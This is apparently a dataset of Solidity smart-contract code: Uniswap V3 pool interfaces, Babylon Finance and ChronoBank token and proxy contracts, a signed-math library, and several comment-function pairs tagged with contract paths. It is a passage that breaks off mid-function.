int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal0X128() external view returns (uint256); /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal1X128() external view returns (uint256); /// @notice The amounts of token0 and token1 that are owed to the protocol /// @dev Protocol fees will never exceed uint128 max in either token function protocolFees() external view returns (uint128 token0, uint128 token1); /// @notice The currently in range liquidity available to the pool /// @dev This value has no relationship to the total liquidity across all ticks function liquidity() external view returns (uint128); /// @notice Look up information about a specific tick in the pool /// @param tick The tick to look up /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or /// tick upper, /// liquidityNet how much liquidity changes when the pool price crosses the tick, /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0, /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1, /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick, /// secondsOutside the seconds spent on the other side of the tick from the current tick, /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false. /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0. /// In addition, these values are only relative and must be used only in comparison to previous snapshots for /// a specific position. function ticks(int24 tick) external view returns ( uint128 liquidityGross, int128 liquidityNet, uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128, int56 tickCumulativeOutside, uint160 secondsPerLiquidityOutsideX128, uint32 secondsOutside, bool initialized ); /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information function tickBitmap(int16 wordPosition) external view returns (uint256); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); /// @notice Returns data about a specific observation index /// @param index The element of the observations array to fetch /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time /// ago, rather than at a specific index in the array. /// @return blockTimestamp The timestamp of the observation, /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp, /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp, /// Returns initialized whether the observation has been initialized and the values are safe to use function observations(uint256 index) external view returns ( uint32 blockTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, bool initialized ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that is not stored /// @notice Contains view functions to provide information about the pool that is computed rather than stored on the /// blockchain. The functions here may have variable gas costs. interface IUniswapV3PoolDerivedState { /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick, /// you must call it with secondsAgos = [3600, 0]. /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio. /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block /// timestamp function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed. /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first /// snapshot is taken and the second snapshot is taken. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range /// @return tickCumulativeInside The snapshot of the tick accumulator for the range /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range /// @return secondsInside The snapshot of seconds per liquidity for the range function snapshotCumulativesInside(int24 tickLower, int24 tickUpper) external view returns ( int56 tickCumulativeInside, uint160 secondsPerLiquidityInsideX128, uint32 secondsInside ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Sets the initial price for the pool /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96 function initialize(uint160 sqrtPriceX96) external; /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling /// with 0 amount{0,1} and sending the donation amount(s) from the callback /// @param recipient The address which will receive the token0 and token1 amounts /// @param amount0 The amount of token0 to send /// @param amount1 The amount of token1 to send /// @param data Any data to be passed through to the callback function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; /// @notice Increase the maximum number of price and liquidity observations that this pool will store /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to /// the input observationCardinalityNext. /// @param observationCardinalityNext The desired minimum number of observations for the pool to store function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissioned pool actions /// @notice Contains pool methods that may only be called by the factory owner interface IUniswapV3PoolOwnerActions { /// @notice Set the denominator of the protocol's % share of the fees /// @param feeProtocol0 new protocol fee for token0 of the pool /// @param feeProtocol1 new protocol fee for token1 of the pool function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external; /// @notice Collect the protocol fee accrued to the pool /// @param recipient The address to which collected protocol fees should be sent /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1 /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0 /// @return amount0 The protocol fee collected in token0 /// @return amount1 The protocol fee collected in token1 function collectProtocol( address recipient, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Events emitted by a pool /// @notice Contains all events emitted by the pool interface IUniswapV3PoolEvents { /// @notice Emitted exactly once by a pool when #initialize is first called on the pool /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96 /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool event Initialize(uint160 sqrtPriceX96, int24 tick); /// @notice Emitted when liquidity is minted for a given position /// @param sender The address that minted the liquidity /// @param owner The owner of the position and recipient of any minted liquidity /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity minted to the position range /// @param amount0 How much token0 was required for the minted liquidity /// @param amount1 How much token1 was required for the minted liquidity event Mint( address sender, address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees are collected by the owner of a position /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees /// @param owner The owner of the position for which fees are collected /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount0 The amount of token0 fees collected /// @param amount1 The amount of token1 fees collected event Collect( address indexed owner, address recipient, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount0, uint128 amount1 ); /// @notice Emitted when a position's liquidity is removed /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect /// @param owner The owner of the position for which liquidity is removed /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity to remove /// @param amount0 The amount of token0 withdrawn /// @param amount1 The amount of token1 withdrawn event Burn( address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted by the pool for any swaps between token0 and token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the output of the swap /// @param amount0 The delta of the token0 balance of the pool /// @param amount1 The delta of the token1 balance of the pool /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96 /// @param liquidity The liquidity of the pool after the swap /// @param tick The log base 1.0001 of price of the pool after the swap event Swap( address indexed sender, address indexed recipient, int256 amount0, int256 amount1, uint160 sqrtPriceX96, uint128 liquidity, int24 tick ); /// @notice Emitted by the pool for any flashes of token0/token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the tokens from flash /// @param amount0 The amount of token0 that was flashed /// @param amount1 The amount of token1 that was flashed /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee event Flash( address indexed sender, address indexed recipient, uint256 amount0, uint256 amount1, uint256 paid0, uint256 paid1 ); /// @notice Emitted by the pool for increases to the number of observations that can be stored /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index /// just before a mint/swap/burn. /// @param observationCardinalityNextOld The previous value of the next observation cardinality /// @param observationCardinalityNextNew The updated value of the next observation cardinality event IncreaseObservationCardinalityNext( uint16 observationCardinalityNextOld, uint16 observationCardinalityNextNew ); /// @notice Emitted when the protocol fee is changed by the pool /// @param feeProtocol0Old The previous value of the token0 protocol fee /// @param feeProtocol1Old The previous value of the token1 protocol fee /// @param feeProtocol0New The updated value of the token0 protocol fee /// @param feeProtocol1New The updated value of the token1 protocol fee event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New); /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner /// @param sender The address that collects the protocol fees /// @param recipient The address that receives the collected protocol fees /// @param amount0 The amount of token0 protocol fees that is withdrawn /// @param amount0 The amount of token1 protocol fees that is withdrawn event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; import {ICurveMetaRegistry} from './ICurveMetaRegistry.sol'; /** * @title IPriceOracle * @author Babylon Finance * * Interface for interacting with PriceOracle */ interface ITokenIdentifier { /* ============ Functions ============ */ function identifyTokens( address _tokenIn, address _tokenOut, ICurveMetaRegistry _curveMetaRegistry ) external view returns ( uint8, uint8, address, address ); function updateYearnVault(address[] calldata _vaults, bool[] calldata _values) external; function updateVisor(address[] calldata _vaults, bool[] calldata _values) external; function updateSynth(address[] calldata _synths, bool[] calldata _values) external; function updateCreamPair(address[] calldata _creamTokens, address[] calldata _underlyings) external; function updateAavePair(address[] calldata _aaveTokens, address[] calldata _underlyings) external; function updateCompoundPair(address[] calldata _cTokens, address[] calldata _underlyings) external; } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; /** * @title ICurveMetaRegistry * @author Babylon Finance * * Interface for interacting with all the curve registries */ interface ICurveMetaRegistry { /* ============ Functions ============ */ function updatePoolsList() external; function updateCryptoRegistries() external; /* ============ View Functions ============ */ function isPool(address _poolAddress) external view returns (bool); function getCoinAddresses(address _pool, bool _getUnderlying) external view returns (address[8] memory); function getNCoins(address _pool) external view returns (uint256); function getLpToken(address _pool) external view returns (address); function getPoolFromLpToken(address _lpToken) external view returns (address); function getVirtualPriceFromLpToken(address _pool) external view returns (uint256); function isMeta(address _pool) external view returns (bool); function getUnderlyingAndRate(address _pool, uint256 _i) external view returns (address, uint256); function findPoolForCoins( address _fromToken, address _toToken, uint256 _i ) external view returns (address); function getCoinIndices( address _pool, address _fromToken, address _toToken ) external view returns ( uint256, uint256, bool ); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; import {IBaseIntegration} from '../interfaces/IBaseIntegration.sol'; /** * @title ITrade * @author Babylon Finance * * Interface for trading protocol integrations */ interface ITradeIntegration is IBaseIntegration { function trade( address _strategy, address _sendToken, uint256 _sendQuantity, address _receiveToken, uint256 _minReceiveQuantity ) external; function trade( address _strategy, address _sendToken, uint256 _sendQuantity, address _receiveToken, uint256 _minReceiveQuantity, address _hopToken ) external; } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; interface IBaseIntegration { function name() external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } }
Returns the FEE of the highest liquidity pool in univ3 for this pair sendToken Token that is sold receiveToken Token that is purchased/
function _getUniswapPoolFeeWithHighestLiquidity(address sendToken, address receiveToken) private view returns (uint24) { IUniswapV3Pool poolLow = IUniswapV3Pool(factory.getPool(sendToken, receiveToken, FEE_LOW)); IUniswapV3Pool poolMedium = IUniswapV3Pool(factory.getPool(sendToken, receiveToken, FEE_MEDIUM)); IUniswapV3Pool poolHigh = IUniswapV3Pool(factory.getPool(sendToken, receiveToken, FEE_HIGH)); uint128 liquidityLow = address(poolLow) != address(0) ? poolLow.liquidity() : 0; uint128 liquidityMedium = address(poolMedium) != address(0) ? poolMedium.liquidity() : 0; uint128 liquidityHigh = address(poolHigh) != address(0) ? poolHigh.liquidity() : 0; if (liquidityLow >= liquidityMedium && liquidityLow >= liquidityHigh) { return FEE_LOW; } if (liquidityMedium >= liquidityLow && liquidityMedium >= liquidityHigh) { return FEE_MEDIUM; } return FEE_HIGH; }
217,686
./partial_match/1/0x3e016bF65faC8D94771Ae55f1C0F4a6db7eA49bd/sources/VotingChallengeProxy.sol
Send a reward to challenge creator Fire the event
function sendCreatorReward() public afterVotingPeriod { if (creatorPrize > 0) { uint creatorReward = creatorPrize; creatorPrize = 0; creator.transfer(creatorReward); emit CreatorRewardWasPaid(creator, creatorReward); } }
4,145,532
./full_match/4/0x9450CBEA6810599FF1db16cC3f5BA09659D5f3B8/sources/contracts/YKPartsOfLife.sol
Set token royalties recipient recipient of the royalties value percentage (using 2 decimals - 10_000 = 100, 0 = 0)
function setRoyalties(address newRecipient, uint24 amount) external onlyOwner { _setRoyalties(newRecipient, amount); }
12,394,605
pragma solidity ^0.4.11; // File: @laborx/solidity-shared-lib/contracts/ERC20Interface.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; /// @title Defines an interface for EIP20 token smart contract contract ERC20Interface { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed from, address indexed spender, uint256 value); string public symbol; function decimals() public view returns (uint8); function totalSupply() public view returns (uint256 supply); function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); } // File: contracts/assets/ChronoBankAssetChainableInterface.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.24; contract ChronoBankAssetChainableInterface { function assetType() public pure returns (bytes32); function getPreviousAsset() public view returns (ChronoBankAssetChainableInterface); function getNextAsset() public view returns (ChronoBankAssetChainableInterface); function getChainedAssets() public view returns (bytes32[] _types, address[] _assets); function getAssetByType(bytes32 _assetType) public view returns (address); function chainAssets(ChronoBankAssetChainableInterface[] _assets) external returns (bool); function __chainAssetsFromIdx(ChronoBankAssetChainableInterface[] _assets, uint _startFromIdx) external returns (bool); function finalizeAssetChaining() public; } // File: contracts/assets/ChronoBankAssetUtils.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.24; library ChronoBankAssetUtils { uint constant ASSETS_CHAIN_MAX_LENGTH = 20; function getChainedAssets(ChronoBankAssetChainableInterface _asset) public view returns (bytes32[] _types, address[] _assets) { bytes32[] memory _tempTypes = new bytes32[](ASSETS_CHAIN_MAX_LENGTH); address[] memory _tempAssets = new address[](ASSETS_CHAIN_MAX_LENGTH); ChronoBankAssetChainableInterface _next = getHeadAsset(_asset); uint _counter = 0; do { _tempTypes[_counter] = _next.assetType(); _tempAssets[_counter] = address(_next); _counter += 1; _next = _next.getNextAsset(); } while (address(_next) != 0x0); _types = new bytes32[](_counter); _assets = new address[](_counter); for (uint _assetIdx = 0; _assetIdx < _counter; ++_assetIdx) { _types[_assetIdx] = _tempTypes[_assetIdx]; _assets[_assetIdx] = _tempAssets[_assetIdx]; } } function getAssetByType(ChronoBankAssetChainableInterface _asset, bytes32 _assetType) public view returns (address) { ChronoBankAssetChainableInterface _next = getHeadAsset(_asset); do { if (_next.assetType() == _assetType) { return address(_next); } _next = _next.getNextAsset(); } while (address(_next) != 0x0); } function containsAssetInChain(ChronoBankAssetChainableInterface _asset, address _checkAsset) public view returns (bool) { ChronoBankAssetChainableInterface _next = getHeadAsset(_asset); do { if (address(_next) == _checkAsset) { return true; } _next = _next.getNextAsset(); } while (address(_next) != 0x0); } function getHeadAsset(ChronoBankAssetChainableInterface _asset) public view returns (ChronoBankAssetChainableInterface) { ChronoBankAssetChainableInterface _head = _asset; ChronoBankAssetChainableInterface _previousAsset; do { _previousAsset = _head.getPreviousAsset(); if (address(_previousAsset) == 0x0) { return _head; } _head = _previousAsset; } while (true); } } // File: @laborx/solidity-eventshistory-lib/contracts/EventsHistorySourceAdapter.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.21; /** * @title EventsHistory Source Adapter. */ contract EventsHistorySourceAdapter { // It is address of MultiEventsHistory caller assuming we are inside of delegate call. function _self() internal view returns (address) { return msg.sender; } } // File: @laborx/solidity-eventshistory-lib/contracts/MultiEventsHistoryAdapter.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.21; /** * @title General MultiEventsHistory user. */ contract MultiEventsHistoryAdapter is EventsHistorySourceAdapter { address internal localEventsHistory; event ErrorCode(address indexed self, uint errorCode); function getEventsHistory() public view returns (address) { address _eventsHistory = localEventsHistory; return _eventsHistory != 0x0 ? _eventsHistory : this; } function emitErrorCode(uint _errorCode) public { emit ErrorCode(_self(), _errorCode); } function _setEventsHistory(address _eventsHistory) internal returns (bool) { localEventsHistory = _eventsHistory; return true; } function _emitErrorCode(uint _errorCode) internal returns (uint) { MultiEventsHistoryAdapter(getEventsHistory()).emitErrorCode(_errorCode); return _errorCode; } } // File: contracts/ChronoBankPlatformEmitter.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.21; /// @title ChronoBank Platform Emitter. /// /// Contains all the original event emitting function definitions and events. /// In case of new events needed later, additional emitters can be developed. /// All the functions is meant to be called using delegatecall. contract ChronoBankPlatformEmitter is MultiEventsHistoryAdapter { event Transfer(address indexed from, address indexed to, bytes32 indexed symbol, uint value, string reference); event Issue(bytes32 indexed symbol, uint value, address indexed by); event Revoke(bytes32 indexed symbol, uint value, address indexed by); event RevokeExternal(bytes32 indexed symbol, uint value, address indexed by, string externalReference); event OwnershipChange(address indexed from, address indexed to, bytes32 indexed symbol); event Approve(address indexed from, address indexed spender, bytes32 indexed symbol, uint value); event Recovery(address indexed from, address indexed to, address by); function emitTransfer(address _from, address _to, bytes32 _symbol, uint _value, string _reference) public { emit Transfer(_from, _to, _symbol, _value, _reference); } function emitIssue(bytes32 _symbol, uint _value, address _by) public { emit Issue(_symbol, _value, _by); } function emitRevoke(bytes32 _symbol, uint _value, address _by) public { emit Revoke(_symbol, _value, _by); } function emitRevokeExternal(bytes32 _symbol, uint _value, address _by, string _externalReference) public { emit RevokeExternal(_symbol, _value, _by, _externalReference); } function emitOwnershipChange(address _from, address _to, bytes32 _symbol) public { emit OwnershipChange(_from, _to, _symbol); } function emitApprove(address _from, address _spender, bytes32 _symbol, uint _value) public { emit Approve(_from, _spender, _symbol, _value); } function emitRecovery(address _from, address _to, address _by) public { emit Recovery(_from, _to, _by); } } // File: contracts/ChronoBankPlatformInterface.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.11; contract ChronoBankPlatformInterface is ChronoBankPlatformEmitter { mapping(bytes32 => address) public proxies; function symbols(uint _idx) public view returns (bytes32); function symbolsCount() public view returns (uint); function isCreated(bytes32 _symbol) public view returns(bool); function isOwner(address _owner, bytes32 _symbol) public view returns(bool); function owner(bytes32 _symbol) public view returns(address); function setProxy(address _address, bytes32 _symbol) public returns(uint errorCode); function name(bytes32 _symbol) public view returns(string); function totalSupply(bytes32 _symbol) public view returns(uint); function balanceOf(address _holder, bytes32 _symbol) public view returns(uint); function allowance(address _from, address _spender, bytes32 _symbol) public view returns(uint); function baseUnit(bytes32 _symbol) public view returns(uint8); function description(bytes32 _symbol) public view returns(string); function isReissuable(bytes32 _symbol) public view returns(bool); function blockNumber(bytes32 _symbol) public view returns (uint); function proxyTransferWithReference(address _to, uint _value, bytes32 _symbol, string _reference, address _sender) public returns(uint errorCode); function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) public returns(uint errorCode); function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) public returns(uint errorCode); function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable, uint _blockNumber) public returns(uint errorCode); function issueAssetWithInitialReceiver(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable, uint _blockNumber, address _account) public returns(uint errorCode); function reissueAsset(bytes32 _symbol, uint _value) public returns(uint errorCode); function reissueAssetToRecepient(bytes32 _symbol, uint _value, address _to) public returns (uint); function revokeAsset(bytes32 _symbol, uint _value) public returns(uint errorCode); function revokeAssetWithExternalReference(bytes32 _symbol, uint _value, string _externalReference) public returns (uint); function hasAssetRights(address _owner, bytes32 _symbol) public view returns (bool); function isDesignatedAssetManager(address _account, bytes32 _symbol) public view returns (bool); function changeOwnership(bytes32 _symbol, address _newOwner) public returns(uint errorCode); } // File: contracts/ChronoBankAssetInterface.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.21; contract ChronoBankAssetInterface { function __transferWithReference(address _to, uint _value, string _reference, address _sender) public returns (bool); function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public returns (bool); function __approve(address _spender, uint _value, address _sender) public returns(bool); function __process(bytes /*_data*/, address /*_sender*/) public payable { revert("ASSET_PROCESS_NOT_SUPPORTED"); } } // File: contracts/ChronoBankAssetProxy.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.21; contract ERC20 is ERC20Interface {} contract ChronoBankAsset is ChronoBankAssetInterface {} /// @title ChronoBank Asset Proxy. /// /// Proxy implements ERC20 interface and acts as a gateway to a single platform asset. /// Proxy adds symbol and caller(sender) when forwarding requests to platform. /// Every request that is made by caller first sent to the specific asset implementation /// contract, which then calls back to be forwarded onto platform. /// /// Calls flow: Caller -> /// Proxy.func(...) -> /// Asset.__func(..., Caller.address) -> /// Proxy.__func(..., Caller.address) -> /// Platform.proxyFunc(..., symbol, Caller.address) /// /// Asset implementation contract is mutable, but each user have an option to stick with /// old implementation, through explicit decision made in timely manner, if he doesn't agree /// with new rules. /// Each user have a possibility to upgrade to latest asset contract implementation, without the /// possibility to rollback. /// /// Note: all the non constant functions return false instead of throwing in case if state change /// didn't happen yet. contract ChronoBankAssetProxy is ERC20 { /// @dev Supports ChronoBankPlatform ability to return error codes from methods uint constant OK = 1; /// @dev Assigned platform, immutable. ChronoBankPlatform public chronoBankPlatform; /// @dev Assigned symbol, immutable. bytes32 public smbl; /// @dev Assigned name, immutable. string public name; /// @dev Assigned symbol (from ERC20 standard), immutable string public symbol; /// @notice Sets platform address, assigns symbol and name. /// Can be set only once. /// @param _chronoBankPlatform platform contract address. /// @param _symbol assigned symbol. /// @param _name assigned name. /// @return success. function init(ChronoBankPlatform _chronoBankPlatform, string _symbol, string _name) public returns (bool) { if (address(chronoBankPlatform) != 0x0) { return false; } chronoBankPlatform = _chronoBankPlatform; symbol = _symbol; smbl = stringToBytes32(_symbol); name = _name; return true; } function stringToBytes32(string memory source) public pure returns (bytes32 result) { assembly { result := mload(add(source, 32)) } } /// @dev Only platform is allowed to call. modifier onlyChronoBankPlatform { if (msg.sender == address(chronoBankPlatform)) { _; } } /// @dev Only current asset owner is allowed to call. modifier onlyAssetOwner { if (chronoBankPlatform.isOwner(msg.sender, smbl)) { _; } } /// @dev Returns asset implementation contract for current caller. /// @return asset implementation contract. function _getAsset() internal view returns (ChronoBankAsset) { 